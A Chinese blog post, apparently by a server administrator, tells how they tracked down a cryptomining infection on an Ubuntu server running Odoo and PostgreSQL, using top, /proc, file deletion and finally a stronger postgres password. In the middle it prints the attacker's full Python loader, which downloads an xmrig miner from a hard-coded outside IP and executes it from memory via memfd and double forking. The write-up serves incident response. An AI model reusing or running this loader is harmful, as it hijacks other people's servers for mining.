• 服务器异常 随机名称的进程CPU资源占用过高


    操作系统: Ubuntu 16.04

    之前部署完odoo12后就经常出现服务挂掉的情况,查看状态一般都是某某包缺失,然后各种安装包,重启服务,这次发现CPU占用达到399%,而且每次进程名称都是随机的,通过postgres用户执行,遂怀疑之前安装包的时候装了什么不好的东西,通过以下步骤排查:

    1. 通过top命令查看进程

      发现PID为2981的进程异常

    2. 通过在进程目录下找执行的程序:

    cd /cd/proc/2981
    sudo ls -l exe

     定位到执行文件所在目录/var/lib/postgressql

    3. 定位到执行文件后,切换到执行文件所在目录删除可疑文件

    cd /var/lib/postgresql
    ls -la
    

      一下就看到有若干可疑脚本文件和文件夹,将.ssh、.systemd-init、.bash_history都删除了。

    4. kill异常进程

    kill -9 2981

    然后再使用top命令查看进程

     世界暂时安静了。

    后续:观察了一小会,发现问题依旧,又出了一个新进程占CPU399%了,于是继续排查。

    1. 通过对异常进程定位,发现还是在之前的目录,但进入到目录,发现之前被删除的文件没有再出现,于是进入到子目录内查找,在以下目录发现新问题

     首先,映入眼帘的是go.py文件,这太明显了,于是打开该文件,内容如下:

    import os
    import sys
    import ctypes
    import hashlib
    import urllib2
    import platform
    
    
    def run_miner(binary):
        fd = ctypes.CDLL(None).syscall(319, "", 1)
        final_fd = open('/proc/self/fd/' + str(fd), 'wb')
        final_fd.write(binary)
        final_fd.close()
    
        fork1 = os.fork()
        print os.getpid()
        if 0 != fork1:
            os._exit(0)
    
        ctypes.CDLL(None).syscall(112)
    
        fork2 = os.fork()
        if 0 != fork2:
            os._exit(0)
    
        os.execl('/proc/self/fd/' + str(fd), '', '')
    
    
    def load_miner(url):
        try:
            response = urllib2.urlopen(url)
            binary = response.read()
        except:
            return None
        return binary
    
    
    def get_sysinfo():
        _arch = ctypes.sizeof(ctypes.c_void_p) * 8
        if _arch is 64:
            _arch = 64
        elif _arch is 32:
            _arch = 32
        else:
            return False
    
        kernel_name = platform.system()
        if "linux" in kernel_name:
            _os_name = "linux"
        elif "win" in kernel_name:
            _os_name = "win"
        else:
            return False
    
        return _os_name, _arch
    
    
    def get_md5(binary):
        return hashlib.md5(binary).hexdigest()
    
    
    if __name__ == "__main__":
        os_name, arch = get_sysinfo()
    
        if os_name != "linux":
            sys.exit(0)
        miner_url = "http://185.193.125.38:8000/cyka/xmrig-" + arch
        miner_md5 = ["fd4e61e02958b57b8446325b62efa1ea", "616b7f7f9a061fd8a90c83467e7139e0"]
    
        miner_max_retry = 10
    
        _dl_count = 1
        while True:
            miner_bin = load_miner(miner_url)
            if get_md5(miner_bin) in miner_md5 or miner_max_retry < _dl_count:
                break
            _dl_count = _dl_count + 1
    
        try:
            run_miner(miner_bin)
        except:
            pass

    很明了了,应该就是它,删除该文件,然后kill掉异常进程,继续观察,一会后,问题依旧!!!!!


    继续排查,还是在原来的目录下发现一个可执行文件,如下

    这是可疑文件,删除之,欸,没任何反应。。。

     rm -rf 删了没反应!!!

    文件还是在!!!

    怎么办???

    没权限??

    chmod赋个777

     见鬼!

    看着那个绿色的postgresq1眉头紧蹙,捶胸顿足,木有办法呢

    十分钟过去了

    二十分钟过去了

    灵光一现,那后面不是l是1啊,这名字太好了,于是直接:

    rm -rf postgresq1

    删掉了!!!!!!!

    赶紧kill异常进程,再观察,这次应该没问题了

    再次后续。问题又来了!!!!!

    若干时间后问题再现了,该删的都删了,还是能自动执行,查看了crontab任务、自启动项,都没有收获,几乎想放弃了,想到对方使用postgres账户执行,遂设置postgres账户密码,使用较强密码,然后再kill异常进程,过去40分钟了,这次没有再看到新的进程,谢天谢地!

  • 相关阅读:
    微服务-SpringCloud学习系列(二):注册中心Eureka
    Spring Security系列(一)简介
    程序人生(一)--习惯与性格
    JavaEE系列(一)--Filter技术
    JavaEE系列(一)--Servlet技术
    微服务-SpringCloud学习系列(一):认识微服务
    mongoDB安装
    php遍历目录下的文件
    mysql创建视图
    ssh 安全策略
  • 原文地址:https://www.cnblogs.com/lnkDel/p/11553741.html
Copyright © 2020-2023  润新知